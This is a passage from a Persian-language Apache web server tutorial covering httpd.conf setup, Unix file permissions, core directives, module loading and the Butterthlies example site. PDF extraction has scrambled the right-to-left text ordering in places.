"Hello world!"سپس خط زير را به .  را ايجاد كنيدhttpd.conf اضافه كنيد:  
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DocumentRoot /usr/www/APACHE3/site.toddle/htdocs 

 

  :فايل پيكربندي اكنون كامل شده و بايد به صورت زير باشد
User webuser 
Group webgroup 
 
ServerName my586 
 
DocumentRoot /usr/www/APACHE3/APACHE3/site.toddle/htdocs/ 
 
#fix 'Out of the Box' default problems--remove leading #s if necessary 
#ServerRoot /usr/www/APACHE3/APACHE3/site.toddle 
#ErrorLog logs/error_log 
#PIDFile logs/httpd.pid 
#TypesConfig conf/mime.types 

 

كرده و آدرس   براي بررسي آن مرورگر وب را اجرا        . كارگزار وب آماده كار باشد    بايد  ،  httpdاكنون با اجراي    
  http://<yourmachinename>10: كارگزار وب را به آن بدهيد
  .دهد را به مرورگر خواهد فرستد  نشان ميDocumentRootاي كه  در نتيجه كارگزار وب شاخه

  هاي مختلف آپاچي  كپي 3-4- 2
  :11هاي در حال اجرا ، دستور زير را اجرا كنيد براي ديدن تمام پردازه

% ps -aux 

 

 بـوده و    rootمتعلـق بـه      را خواهيد ديد كـه       httpdيك كپي از    د زيادي پردازه يونيكسي،     در ميان تعدا  
  . هاي مشابه هستند كه منتظر درخواستهاي ورودي هستند  آنها كپي.webuserتعدادي ديگر متعلق به 
ن بـه آ  ولي  )  هاي فرزند آن هم همينطور      بنابراين پردازه (  متصل شده    80) پورت(كپي اصلي به درگاه     

. تواند قدرت فراواني دارد و براي ايـن كـار امـن نيـست                مي rootاين به خاطر آن است كه       . دهد  گوش نمي 
 اجرا شود، آن است كـه در يـونيكس درگاههـاي پـايينتر از               rootعلت اصلي كه اين پردازه بايد به صورت         

.  دارندwaiting يا busyحالتهاي هاي فرزند يكي از      هر كدام از پردازه    .تواند باز كند     مي rootرا تنها    1024
 در  MinSpareServers ديركتيـو   و توسـط     5فرض    به طور پيش  ( كم باشد    waitingهاي    اگر تعداد پردازه  

httpd.conf  هـاي   پـردازه اگـر تعـداد   . كند  ديگر ايجاد ميپردازه اصلي چند كپي) شود  كنترل ميwaiting 
                                                 

د ولي اين كار در      استفاده كني  localhost://http/ يا   http//:127.0.01/توانيد از     توجه كنيد كه اگر كارگزار روي همان ماشين باشد مي          10
  .هنگام استفاده از ميزبانهاي مجازي ممكن است مشكل به وجود آورد

  .دهد ها را نشان مي  در لينوكس استفاده كنيد كه ساختار پدر و فرزندي ميان پردازهpstreeتوانيد از دستور  البته مي 11
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 كنتـرل   httpd.conf در   MaxSpareServers ركتيـو   دي و توسـط     10فـرض     به طور پـيش   (زياد شود باشد    
بينيد كه ديگر پـردازه       متوقف كنيد مي   kill اگر پردازه اصلي را با دستور        .كشد   برخي از آنها را مي     )شود  مي

  :ها نيز متوقف خواهند شد
 
% kill PID 

  . گفته شد استفاده كنيد2-2 كه در بخش  stopاسكريپت البته بهتر است كه از 

  مجوزهاي يونيكس 3-5- 2
در . براي درست كار كردن آپاچي لازم است كه مجوزهاي دسترسي به فايلها به درستي تنظـيم شـوند                 

 اين مجوزها در سه لايه به اشـياء         .وجود دارد  execute و   read  ،writeسه نوع مجوز    سيستمهاي يونيكس   
نمونـه را نـصب كـرده    اگـر سـايتهاي   . (user, group, other)كاربر، گروه و ديگران : شوند نسبت داده مي
  : رفته و دستور زير را وارد كنيد site.cgi/htdocs/…باشيد به شاخه 

% ls –l 

  :خروجي آن به صورت زير خواهد شد
-rw-rw-r-- 5 root bin 1575 Aug 15 07:45 form_summer.html 

  
ديگـر حـروف در سـتون اول مجوزهـاي     . مولي استدهد كه اين يك فايل مع  نشان مي –اولين علامت   

  : كه به صورت زير استدهند دسترسي به اين فايل را نشان مي
 Read Write Execute 

User (root) Yes Yes No 

Group (bin) Yes Yes No 

Other Yes No No 

  
آن و گـذر از آن       به معناي امكان پـويش       xمجوز  ) دايركتوري(ها    نكته مهم آن است كه در مورد شاخه       

  .تر است هاي داخلي به شاخه
از آنجـا كـه آپـاچي بـا سـطح كـاربري             . اسـت  otherآنچه كه در اينجا براي ما مهم اسـت مجوزهـاي            

webuser   وwebgroup       به فايلها دسترسي دارد، مجوزهايother        تعيين كننده سطح دسترسـي كـارگزار
   .آپاچي به فايلها خواهد بود

: خـواهيم اجـازه دسترسـي دهـيم        مـي  webuserسته از فايلها وجـود دارد كـه بـه           به طور كلي چهار د    
تا آنجـا كـه     ها از شاخه ريشه       تمام شاخه بايد اجازه پويش     wenuser. ها، و اسكريپتها    ها، داده، برنامه    شاخه

  :داشته باشند other براي xها بايد مجوز  بنابراين اين شاخه. فايلها قرار دارند را داشته باشد
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% chmod o+x <each-directory-in-the-path> 

 

  :بدهد other به readليست گرفتن از يك شاخه، آخرين شاخه بايد مجوز براي 
 
% chmod o+r <final-directory> 

  :داده شده باشد other به (write)مجوز نوشتن البته لازم به ذكر است كه نبايد 
% chmod o-w <final-directory> 

بـه  ( شـود   نيـز مـي    htaccess.  كه شامل فايلهايي ماننـد     - دهي يك فايل به عنوان داده         يسبراي سرو 
  . داده شودotherفايل بايد مجوز خواندن به  – )مراجعه نماييد3فصل 
  

% chmod o+r file 

  :و مجوز نوشتن را منع نماييد
% chmod o-w <file> 

  : مجوز اجرايي بدهيدotherبراي اجراي يك برنامه به 
% chmod o+x <program> 

  : مجوزهاي خواندن و اجرا اعطا نماييدotherبراي اجراي يك اسكريپت بايد به 
% chmod o+rx <script> 

  
  :براي امنيت كامل

% chmod a=rx <script> 

  :ويرايش نمايداگر كاربر بخواهد اسكريپت را 
% chmod u=rwx,og=rx <script> 

 

   هاديركتيو  2-4
  .كنيم تعريف مي ميها را به طور رسيو ديركتدر اين بخش 

2 -4 -1 ServerName  
ServerName كند نام ميزبان را براي كارگزار مشخص مي.  

ServerName hostname  
Server config, virtual host 
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  .نيز مفيد است) 4فصل ( براي استفاده در ميزبانهاي مجازي ديركتيو اين 

2 -4 -2 DocumentRoot  
  . كند دهد، مشخص مي آپاچي فايلها را سرويس مياي كه از آن  اين ديركتيو شاخه

DocumentRoot directory 
Default: /usr/local/apache/htdocs 
Server config, virtual host 

  URL تطابق پيدا كند، كارگزار مـسيري كـه در   Alias با ديركتيوهايي مانند URLبه جز مواردي كه 
   به عنوان مثال.دكن ر الحاق ميمشخص شده است را به اين مسي

DocumentRoot /usr/web 

اشــــاره بــــه فايــــل   html.index/com.myhost.www://httpآدرس شــــود كــــه  باعــــث مــــي
/usr/web/index.html كند.  

 بـه   باشـد، ممكـن اسـت مـشكلاتي        /  DocumentRootشاخه مشخص شده توسط     انتهاي  كه   ميهنگا
در انتهاي  / بنابراين از به كار بردن      .  باشد mod_dirرسد ناشي از باگي در ماجول          كه به نظر مي    .وجود آيد 

  . خودداري نماييدDocumentRootمسير مشخص شده 

2 -4 -3 ServerRoot  
ServerRootهاي  شاخهزيركند كه   مشخص ميconf و logs  كدام شاخه هستنددر.  

ServerRoot directory 
Default directory: /usr/local/etc/httpd 
Server config 

از طـرف   .  را مقداردهي كنيـد    ServerRoot اجرا كنيد، لازم است كه ديركتيو        f–آپاچي را با گزينه     اگر  
  . استفاده كنيد نيازي به اين ديركتيو نيست d–ديگر اگر از گزينه 

2 -4 -4 ErrorLog  
  . كند مشخص ميشوند را  ينام فايلي كه خطاها در آن ثبت م ErrorLogديركتيو 

ErrorLog filename|syslog[:facility]  
Default: ErrorLog logs/error_log 
Server config, virtual host 

  .گيرد  در نظر مي(ServerRoot)شروع نشود، آن را نسبت به مسير ريشه كارگزار / اگر نام فايل با 
  . براي ثبت خطاها استفاده كرد(syslog)گاري سيستم توان از امكان رويدادن  مي: و بالاتر1.3آپاچي 

  .باشد other كه براي امنيت بالاتر بايد فايلهاي رويدادنامه نبايد قابل نوشتن توسط توجه داشته باشيد

2 -4 -5 PidFile  
  . كند شود را مشخص مي  پردازه در حال اجراي آپاچي در آن ثبت ميPIDفايلي كه شماره 

PidFile file 
Default file: logs/httpd.pid 
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Server config 

  . استlogs/httpd.pid/…فرض اين فايل  به طور پيش
  

2 -4 -6 TypesConfig  
  .كند  مشخص ميmime.typeرا براي يافتن مسير و نام فايل اين ديركتيو 

TypesConfig filename  
Default: conf/mime.types 
Server config 

  شمول فايلهاي ديگر در فايل پيكربندي 7- 4- 2
تـوان    بـراي ايـن كـار مـي       . است بخواهيد فايلهاي ديگـري را درون فايـل پيكربنـدي بگنجانيـد            ممكن  

  : استفاده كردIncludeمحتويات آن فايل را به طور كامل كپي كرد يا كه از ديركتيو 
Include filename 
Server config, virtual host, directory, .htaccess 

  (Shared Objects)اشياء مشترك  2-5
  .كنيد؛ بايد كارهاي زيادي در فايل پيكربندي انجام دهيد  استفاده مي12DSOاز مكانيزم اگر 

  اشياء مشترك تحت يونيكس 1- 5- 2
  بـا   آپـاچي  (build)ساخت  احتمالا آسانترين كار     بنابراين   .ترتيب ديركتيوها مهم است    v1.3در آپاچي   

به فايـل    usr/etc/httpd/httpd.conf.default/ از فايل    .است enable-shared=max--استفاده از گزينه    
  .پيكربندي خود كپي كرده و آن را بر حسب نياز ويرايش نماييد

LoadModule env_module         libexec/mod_env.so 
LoadModule config_log_module  libexec/mod_log_config.so 
LoadModule mime_module        libexec/mod_mime.so 
LoadModule negotiation_module libexec/mod_negotiation.so 
LoadModule status_module      libexec/mod_status.so 
LoadModule includes_module    libexec/mod_include.so 
LoadModule autoindex_module   libexec/mod_autoindex.so 
LoadModule dir_module         libexec/mod_dir.so 
LoadModule cgi_module         libexec/mod_cgi.so 
LoadModule asis_module        libexec/mod_asis.so 
LoadModule imap_module        libexec/mod_imap.so 
LoadModule action_module      libexec/mod_actions.so 
LoadModule userdir_module     libexec/mod_userdir.so 
LoadModule alias_module       libexec/mod_alias.so 
LoadModule access_module      libexec/mod_access.so 

                                                 
12 Dynamic Shared Objects 
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LoadModule auth_module        libexec/mod_auth.so 
LoadModule setenvif_module    libexec/mod_setenvif.so 
 
#  Reconstruction of the complete module list from all available modules 
#  (static and shared ones) to achieve correct module execution order. 
#  [WHENEVER YOU CHANGE THE LOADMODULE SECTION ABOVE UPDATE THIS, TOO] 
ClearModuleList 
AddModule mod_env.c 
AddModule mod_log_config.c 
AddModule mod_mime.c 
AddModule mod_negotiation.c 
AddModule mod_status.c 
AddModule mod_include.c 
AddModule mod_autoindex.c 
AddModule mod_dir.c 
AddModule mod_cgi.c 
AddModule mod_asis.c 
AddModule mod_imap.c 
AddModule mod_actions.c 
AddModule mod_userdir.c 
AddModule mod_alias.c 
AddModule mod_access.c 
AddModule mod_auth.c 
AddModule mod_so.c 
AddModule mod_setenvif.c 

 

 و به دنبال    ClearModuleList و بعد    LoadModules: توجه كنيد كه ليست سه بخش اصلي دارد       
توانيد براي جلوگيري از شـلوغ شـدن فايـل            مي. براي فعال كردن مواردي كه نياز داريد       AddModules آن

ه اگـر   توجـه كنيـد ك ـ    .  نماييـد  Includeپيكربندي اين ليست را در فايل ديگري وارد كرده و سپس آن را              
  .كند، آن ماجول بايد فعال باشد وگرنه آپاچي خطا خواهد داد ديركتيوي از يك ماجول استفاده مي

2 -5 -2 LoadModule  
  .كند را به ليست ماجولهاي فعال اضافه مي module ساختار ماجول به نام LoadModuleديركتيو 

LoadModule module filename 
server config 
mod_so  

module    خـارجي از نـوع   نـام متغيـرmodule   بـه عنـوان    در فايـل اسـت وModule Identifier   در
  . مستندات نام برده شده است

LoadModule status_module modules/mod_status.so  
 



 

  
  
  
  
  
  
  

  
  
  

به سوي يك وبگاه : فصل سوم 3
  واقعي
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  . ر در آن كنكاش نماييم بيشتيمتوان هاي اوليه در اختيار داريم و مي كارگزاري با پيكربندياكنون 

  site.simple: وبگاههاي بيشتر و بهتر 3-1
توانيـد در وبگـاه       تري ايجاد كنيم كه نمونه آنهـا را مـي           اكنون در موقعيتي هستيم كه وبگاههاي واقعي      

خـواهيم وبگـاه     مـي .Butterthlies Inc شدن مثال فرض كنيد كه براي شركت تر براي واقعي. بيابيدكتاب 
براي  آنكـه تعـدادي آدرس وب بـه ميزبـان          . كند   شركت كارتهاي پستي توليد و عرضه مي        اين .ايجادكنيم

  .كنيم  را مطابق زير ويرايش ميetc/hosts/فايل 
127.0.0.1 localhost 
192.168.123.2 www.butterthlies.com 
192.168.123.2 sales.butterthlies.com 
192.168.123.3 sales-IP.butterthlies.com 
192.168.124.1 www.faraway.com 

 
  

 ممكن است كه براي تخصيص آدرسها نيـاز بـه همكـاري مـدير         .است مي الزا localhostمشخص كردن   
  . شبكه باشد

site.simple   همانندsite.toddle    اسكريپت   .است با اندكي تفاوت go       بـراي  .  همه جا كار خواهـد كـرد
  :شروع دستورهاي زير را اجرا نماييد

test -d logs || mkdir logs 

httpd -d 'pwd' -f 'pwd'/conf/httpd.conf 

  
 2.0ولي قبل از آن ذكر اين نكته لازم است كه در آپـاچي           . بهتر است نگاهي به فايل رويدادها بيندازيم      

  . مشخص شودTransferLogلازم است صريحا نام فايل رويداد با ديركتيو 
  :ستاكنون مطابق ذيل ا conf/httpd.conf/…فايل 

User webuser 
Group webgroup 
 
ServerName www.butterthlies.com 
DocumentRoot /usr/www/APACHE3/APACHE3/site.simple/htdocs 
TransferLog logs/access_log 

  : را خواهيم داشتtxt.1فايل  htdocs/…همانند قبل در 
hello world from site.simple again! 
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 http://www.butterthlies.comآدرس   اجرا كرده و سپس به عنوان كارفرما         زاررا روي كارگ   go/.حال  
  :در مرروگر وارد كنيدرا 

Index of / 
. Parent Directory 
. 1.txt 

 

  .كليك كنيد تا محتواي آن را ببينيد txt.1روي 
  http://sales.butterthlies.comاگـر بـه   . رسد ولي هنوز يك نقطه بـاقي اسـت      ميرضايتبخش به نظر    

پيكربنـدي  چنـان    است كه واسط شـبكه ماشـين را          چرا؟ علت آن  . يريمگ  متصل شويم، نتيجه يكساني مي    
  : زير پاسخ دهدIPديم كه به هر دو كر

192.168.123.2 
192.168.123.3 

 و به همه آنها بـه يـك         دهد مي متعلق به ماشين گوش      IPآپاچي به تمام آدرسهاي     به طور پيش فرض     
 ممكن است پاسـخ     IPبسته به نوع     تعريف كرده باشيم، آنگاه      13اگر ميزبانهاي مجازي  . دهد ميروش جواب   

، BindAddressدر ادامه اين بخـش بـه كنترلهـاي بيـشتري بـا اسـتفاده از ديركتيوهـاي                   . متفاوتي بدهد 
Listen و <VirtualHost>خواهيم پرداخت .  

بـه عبـارتي   !  است مرورگر شما را گيج كندممكنتغيير سريع پيكربندي و    ذكر اين نكته لازم است كه       
كنند، ممكـن اسـت      مي ذخيره   14ي وب را در يك حافظه نهاني      ها  ديگر از آنجا كه مرورگرها معمولا صفحه      

ي قبلـي   هـا   مرورگر نتيجه آخرين تغييرات در پيكربندي كارگزار وب را نشان ندهد و بـه جـاي آن نـسخه                  
  .  را در مرورگر خود غير فعال كنيدCacheاين امر براي جلوگيري از . ذخيره شده را نشان دهد

بايد . كارگزار را متوقف كرده  و نگاهي به فايل رويدادنگاري بيندازيد          . ديمگر  حال به كارگزار وب خود برمي     
  : ببينيدlogs/access_log/…خط زير در شما چيزي شبيه به 

192.168.123.1--- [<date-time>] "GET / HTTP/1.1" 200 177 

ــشتي  كــد 200 ــي  ( اســتHTTPبرگ ــه معن ــه اســت 177و ) Okب ــال يافت ــاي انتق ــداد بايته در .  تع
…/logs/error_log        البتـه بـد نيـست هـر از چنـد گـاهي             . نبايد چيزي باشد، زيرا خطايي رخ نداده است

  .نگاهي به اين فايل بيندازيد

3 -1-1 ErrorDocument  
ري درخواسـت يـك فايـل       اگـر كـارب    يـد دهد مـشخص كن    مياين امكان را     ErrorDocument ديركتيو

  .ناموجود كرد، چه اتفاقي بيفتد
ErrorDocument error-code "document(" in Apache v2) 
Server config, virtual host, directory, .htaccess 

                                                 
13 Virtual hosts 
14 Cache  
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  :ند يكي از چهار كار زير را انجام دهدتوا در صورت بروز مشكل يا خطا، آپاچي مي
 . مشخص شده را به عنوان خروجي بدهديك پيام خطاي از پيش .1

 .يك پيام سفارشي را به عنوان خروجي بدهد .2

 .بدهدداخلي  ديگر URLتغيير مسير به يك  .3

 . ديگر خارجي بدهدURLتغيير مسير به يك  .4

بـراي  . شـوند  ميپيكربندي   ErrorDocumentكتيو  گزينه اول پيش فرض است و ديگر گزينه ها با دير          
 ""پيام بايـد داخـل      .  بايد مشخص كرد   URL و يك پيام يا      HTTPكد برگشتي   تيو  ديرككار در مقابل    اين  
  . گيردقرار

URL   بـه صـورت     شوند يـا     ميشروع  /  توانند محلي باشند كه در اين صورت با          مي هاURL  كامـل  .
  :براي مثال

ErrorDocument 500 http://foo.example.com/cgi-bin/tester 
ErrorDocument 404 /cgi-bin/bad_urls.pl 
ErrorDocument 401 /subscription_info.html 
ErrorDocument 403 "Sorry can't allow you access today" 

  

  .Butterthlies, Inc  وبگاهآغاز به كار 3-2
  :شامل خطوط زير است ) site.first/…در  (httpd.confاكنون فايل 

User webuser 
Group webgroup 
 
ServerName my586 
 
DocumentRoot /usr/www/APACHE3/APACHE3/site.first/htdocs 
TransferLog logs/access_log 
#Listen is needed for Apache2 
Listen 80 

انـد ولـي بـا ايـن       منـسوخ شـده  ResourceConfig و AccessConfig ديركتيوهاي 2در آپاچي نسخه    
  :نوشت  زير در انتهاي فايل  پيكربندي توان به صورت ميوجود 

Include conf/srm.conf  
Include conf/access.conf  

 اجباري است و در صورتي كه در فايل پيكربندي نباشـد، خطـاي              Listen هنوز استفاده از     2در آپاچي   
  :دهد ميزير را 
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...no listening sockets available, shutting down. 

  
فعلا بـا يـك   . ايم ندي براي آپاچي آماده نكردهنقش آپاچي سرويس دادن اسناد است، ولي تا به حال س   

  . يمكن  شروع ميHTMLفايل ساده 
  

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"> 
<html> 
<head> 
<title> Butterthlies Catalog</title> 
</head> 
<body> 
<h1> Welcome to Butterthlies Inc</h1> 
<h2>Summer Catalog</h2> 
<p> All our cards are available in packs of 20 at $2 a pack. 
There is a 10% discount if you order more than 100. 
</p> 
<hr> 
<p> 
Style 2315 
<p align=center> 
<img src="bench.jpg" alt="Picture of a bench"> 
<p align=center> 
Be BOLD on the bench 
<hr> 
<p> 
Style 2316 
<p align=center> 
<img src="hen.jpg" ALT="Picture of a hencoop like a pagoda"> 
<p align=center> 
Get SCRAMBLED in the henhouse 
<HR> 
<p> 
Style 2317 
<p align=center> 
<img src="tree.jpg" alt="Very nice picture of tree"> 
<p align=center> 
Get HIGH in the treehouse 
<hr> 
<p> 
Style 2318 
<p align=center> 
<img src="bath.jpg" alt="Rather puzzling picture of a bathtub"> 
<p align=center> 
Get DIRTY in the bath 
<hr> 
<p align=right> 
Postcards designed by Harriet@alart.demon.co.uk 
<hr> 
<br> 
Butterthlies Inc, Hopeful City, Nevada 99999 
</body> 
</HTML> 

 



  35    راهنماي كارگزار وب آپاچي   

  .باشد تمام حقوق اين اثر متعلق به شوراي عالي انفورماتيك مي

 

ظاهر شود ولي در واقع از آن در وبگاههـاي ديگـري    site.first/htdocs/ …خواهيم كه اين فايل در  مي
 بـا   (link)بنابراين آن را در محل خود نگهداري كرده و از جاهاي ديگر به آن پيونـد                 . كنيم مينيز استفاده   

 كپي واقعي تغييـر پيـدا كـرد،         اگر فايل اصلي يا   شود كه    مي اين باعث    .كنيم   ايجاد مي  lnدستور يونيكسي   
  در شـاخه  catalog_summer.htmlاين سـند را بـه اسـم    . شود مياين تغيير در پيوندهاي آن نيز ظاهر 

/usr/www/APACHE3/main_docs    اين فايل به يك سري تصويرهاي       . دهيم مي قرار.jpg   كند  مياشاره
  :هستند main_docs/ …شاخه كه در 

% ln /usr/www/APACHE3/main_docs/catalog_summer.html . 
% ln /usr/www/APACHE3/main_docs/bench.jpg . 

  

  انديس پيش فرض 2-1- 3
./go  را تايــپ كــرده و بعــد روي ماشــين كارفرمــا   http://www.butterthlies.com/ را وارد كنيــد  

  :ي زير را خواهيد ديدجخرو
INDEX of / 
*Parent Directory 
*bath.jpg 
*bench.jpg 
*catalog_summer.html 
*hen.jpg 
*tree.jpg 

 

3 -2-2 index.html 
كه فايل پيش فرضي براي نمايش نباشد، آپاچي ليستي مشابه آنچه در بخش قبل ديديد نشان                 ميهنگا

  :داريم htdocs/index.html/ …با ايجاد فايل انديس در . دهد مي
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"> 
<html> 
<head> 
<title>Index to Butterthlies Catalogs</title> 
 </head> 
<body> 
<ul> 
<li><A href="catalog_summer.html">Summer catalog</A> 
<li><A href="catalog_autumn.html">Autumn catalog</A> 
</ul> 
<hr> 
<br>Butterthlies Inc, Hopeful City, Nevada 99999 
</body> 
</html> 

ه طور   ب ، آپاچي باشد index.html يك شاخه حاوي     متناظر با  باز كند كه     URLكه كارفرما يك     ميهنگا
 پيكربنـدي   DirectoryIndexتواند توسـط ديركتيـو       ميفرض اين     به طور پيش  (گرداند   ميخودكار آن را بر   

  :بينيم مياكنون در مرورگر اين چنين ). شود
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INDEX TO BUTTERTHLIES CATALOGS 
*Summer Catalog 
*Autumn Catalog 
-------------------------------------------- 
Butterthlies Inc, Hopeful City, Nevada 99999 

  

  ديركتيوهاي بلوكي 3-3
هـا و يـا       ميزبانهاي مجازي، شاخه   به   توان   مي راكه كاربرد آنها    ديركتيوهاي بلوكي دارد،    آپاچي تعدادي   

ين كار به خصوص براي كارگزارهاي وب حقيقي بسيار مهم است، زيرا بـدين        ا. فايلهاي خاصي محدود كرد   
 بيـشتر   4-1البته در اين مورد در بخـش  . توان تعداد زيادي وبگاه را تحت يك آپاچي برپا نمود ميوسيله 

  .توضيح خواهيم داد

<VirtualHost>   

 
<VirtualHost host[:port]> 
... 
</VirtualHost> 
Server config 

 
كند  ميمتني مشخص   يك بلوك    :كند ميعمل   HTMLهمانند برچسبهاي    <VirtualHost>ديركتيو    

بـراي پايـان دادن بـه ايـن بلـوك از            . نـد كن مـي بـه يـك ميزبـان اشـاره         شامل ديركتيوهايي است كه     كه  
</VirtualHost> مثال. كنيم مي استفاده:  

.... 
<VirtualHost www.butterthlies.com> 
ServerAdmin sales@butterthlies.com 
DocumentRoot /usr/www/APACHE3/APACHE3/site.virtual/htdocs/customers 
ServerName www.butterthlies.com 
ErrorLog /usr/www/APACHE3/APACHE3/site.virtual/name-based/logs/error_log 
TransferLog /usr/www/APACHE3/APACHE3/site.virtual/name-
based/logs/access_log 
</VirtualHost> 
... 

  
<VirtualHost>  همچنين آدرس IP اگـر  . كنـد  ميشود را مشخص  مي و درگاهي كه روي آن ميزباني

port     شود، كه معمولا براي      ميفرض استفاده      مشخص نباشد،  درگاه پيشHTTP    است يا   80 درگاه شماره 
 ). اين ديركتيـو وجـود نـدارد    2.0البته در آپاچي  نسخه ( مشخص شده باشد Portدرگاهي كه با ديركتيو 

host   تواند به    ميهمچنين_default_       شـود كـه در      مـي به ميزبـاني گفتـه       مقداردهي شود، در اين صورت
 . تطبيق نكند<VirtualHost>بخشهاي ديگر 
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سه ديركتيو مشابه ديگر وجـود      . تواند نام ميزبان كارگزار ما باشد      ميسيستم واقعي، اين آدرس     در يك   
  :دكنن ميدارند كه كاربرد ديركتيوها را محدود 

• <Directory> 
• <Files> 
• <Location> 

 <Directory>بنـابراين   . دهـد  مي نشان   صعودي اعتبارشان اين ليست ديركتيوهاي مشابه را به ترتيب        
  .  <Location> هم توسط <Files>شود و  مي كنار گذاشته <Files>توسط 

Files تواند درون بلوكهاي  مي<directory>و به ترتيب زير استاجرا به صورت گروهي .  جاي بگيرد:  
1. <Directory>) و ) بــدون عبــارات مــنظم.htaccess 15شــوند مــي بــه طــور همزمــان اجــرا.  

<.htaccess> اثر  <Directory> كند مي را بازنويسي.  
2. <DirectoryMatch> و <Directory>) همراه عبارات منظم(.  
3. <Files> و <FilesMatch> شوند مي به طور همزمان اجرا.  
4. <Location>  و<LocationMatch> شوند مي به طور همزمان اجرا. 

  
گروههاي ديگر به ترتيب ظاهر شـدن       . شوند مي به ترتيب كوتاهترين شاخه به طولانيترين اجرا         1گروه  

 بعد از اعمال بخشهاي متناظر      <VirtualHost>بخشهاي داخل بلوكهاي    . شوند مياجرا  فايل پيكربندي   در  
  .شوند بيروني اعمال مي

  

<Directory> and <DirectoryMatch>   

 
<Directory dir  > 
... 
</Directory> 

  
دهد كه ديركتيوهـاي ديگـر را بـه يـك شـاخه يـا گروهـي از                   مي اين امكان را     <Directory>ديركتيو  

مـشخص  ) نـه نـسبي   (مطلـق     را بـه صـورت      يـك شـاخه    dirاين نكته مهم است كه      . ها اعمال شود    شاخه
 و DocumentRootشود نه بـر روي   ميبر روي كل سيستم فايل اعمال  </ Directory>بنابراين . كند مي

 بـراي  [ ]و هـا   نويـسه  از اي  دنباله براي* براي يك نويسه و ? ها يعني wildcardبا تواند  مي dir . تر پايين

                                                 
 .روند هر شاخه به جلو مي ت كه آنها همزمان در عمقاين بدين معني اس 15
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 تا  aهاي    ويسههر يك از ن   « به معني    [a-d]براي مثال   . رود  ها به كار مي     از نويسه اي    مشخص كردن محدوده  
d «در مقابل  ~ اگر نويسه .استdir  ،16منظم كامل باشدتوند شامل يك عبارت  نام ميبيايد.  

<DirectoryMatch> همانند <Directory ~>  بـه عنـوان   . شـود  مـي  است و با عبارت منظم اسـتفاده
  :مثال

<Directory ~ /[a-d].*> 

  يا
<DirectoryMatch /[a-d].*> 

  ".شود مي شروع d يا c يا b يا aر شاخه ريشه كه با حرف هر شاخه د"به معني 
 

<Files> and <FilesMatch>   

 
<Files file> 
... 
</Files> 

 
بنابراين يك مسير نسبي نـسبت بـه   . كند ميرا به فايل محدو  محدوده اعمال بلوك  <Files>ديركتيو 

DoucmentRoot   تواند شامل     دهد كه مي   ميدهي    را آدرسwildcard          يا عبارت منظم كامل باشد كـه بـا 
بنـابراين فايلهـاي    .  شـود  ~ همراه عبارت منظم بدون      تواند   مي <FilesMatch>.  شروع شده باشد   ~نويسه  

  :توان به صورت زير مشخص كرد معمولي گرافيكي را مي
<FilesMatch "\.(gif|jpe?g|png)$" 

  
  .  استفاده شودhtaccess.د در فايل توان  مي<Location> ،<Files> و <Directory>بر خلاف 

<Location> and <LocationMatch>   

 
<Location URL> 
... 
</Location> 

  
نـد كـه    كن   مشخص شـده محـدود مـي       URLرا به   بلوك  داخل  كاربرد ديركتيو    <Location>ديركتيو  

همـراه يـك     <LocationMatch>. شود   شروع مي  ~ و عبارات منظم كه با       wildcardمل شامل   تواند شا   مي
  .آيد  مي~عبارت منظم بدون 

                                                 
  .مراجعه كنيد) O’Reillyانتشارات  (Jeffrey E.F. Friedl توسط ”Mastering Regular Expressions“به كتاب  16
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<IfDefine>   

 
<IfDefine name> 
... 
</IfDefine> 

  
 در هنگام بـالا آمـدن آپـاچي         Dname– يك بلوك را بر حسب استفاده از گزينه          <IfDefine>ديركتيو  

  .صاصياين ديركتيو بيشتر براي كارهاي تستي مناسب است نه براي وبگاههاي اخت. كند ميفعال 
  

<IfModule>   

 
<IfModule [!]module-file-name> 
... 
</IfModule> 

  
 يك بلوك را در صورتي كه ماجول مربوط كمپايل شده يا بـه صـورت پويـا بـه                    <IfModule>ديركتيو  

 استفاده شده باشد به معني اين است كه مـاجول           ! اگر پيشوند    . كند ميآپاچي بارگذاري شده باشد، فعال      
تواننـد بـه صـورت تودرتـو اسـتفاده           مـي  <IfModule>ماجولهاي  . بارگذاري يا كمپايل نشده باشد    مربوط  
 .شوند

   ديركتيوهاي ديگر 3-4
  :اند شوند در ادامه ليست شده ديركتيوهايي كه يك بار به صورت سراسري براي كارگزار اجرا مي

  

ServerName   

 
ServerName fully-qualified-domain-name  
Server config, virtual host 

  
 هنگـام ايجـاد      ديركتيـو    از ايـن  . كنـد   نام ميزبان را براي كارگزار مشخص مـي        ServerNameديركتيو  

URL  كنـد كـه نـام كـارگزار را از            اگر مشخص نشود، كارگزار سعي مـي      . شود  استفاده مي تغيير مسير   هاي
 زيـرا بايـد پـرس و جـوي معكـوس از       حال ممكن است به درستي كار نكند،با اين .  بدست آورد  IPآدرس  
DNSانجام شود .  
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UseCanonicalName   

 
  

  
كه  ميمثلا هنگا. كند ميكنترل  كنند را  ميهايي كه به خودشان ارجاع      URL تشكيلاين ديركتيو نحوه    

ــسير آ ــه  http://www.domain.com/some/directoryدرس مـــــــــ  را بـــــــــ
http://www.domain.com/some/directory/)   ــسه ــه نويــ ــد / بــ ــه كنيــ ــايي توجــ ــر . )انتهــ اگــ

UseCanonicalName onتغيير مـسير اسـتفاده    نام ميزبان و درگاهي كه براي  از، آنگاه)فرض پيش( باشد
 offاگـر مقـدار آن      .  مـشخص شـده باشـند      Port و   ServerNameكه توسط ديركتيوهاي    شود،   مي

  .شود ميباشد، آنگاه نام و شماره درگاهي كه در آدرس اوليه مشخص شده بود، استفاده 
  

ServerAdmin   

 
ServerAdmin email_address 
Server config, virtual host   

  
ServerAdmin آدرس emailر دهدهاي خطاي توليد شده قرا  را براي تعبيه در صفحه.  

 

ServerSignature   

 
ServerSignature [off|on|email] 
Default: off 
directory, .htaccess 

 

دهد كه كارفرما بداند در واقع كدام كـارگزار در دنبالـه پراكـسيها كـار را انجـام                    مياين ديركتيو اجازه    
كـارگزار، پانويـسي حـاوي    در صفحات توليـد شـده توسـط         شود كه    مي بودن مقدار آن باعث      on . دهد مي

.  مربـــوط بـــه ميزبـــان مجـــازي آن توليـــد شـــودServerNameشـــماره نـــسخه كـــارگزار، و مقـــدار 
ServerSignature email ــث ــي باع ــع    م ــر آن مرج ــلاوه ب ــه ع ــود ك ــه آدرس   :mailitoش ــز ب  ني

ServerAdmin ايجاد شود.  
 

UseCanonicalName on|off 
Default: on  
Server config, virtual host, directory, .htaccess 
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ServerTokens   

 
ServerTokens 
[productonly|min(imal)|OS|full] 
Default: full 
Server config 

  
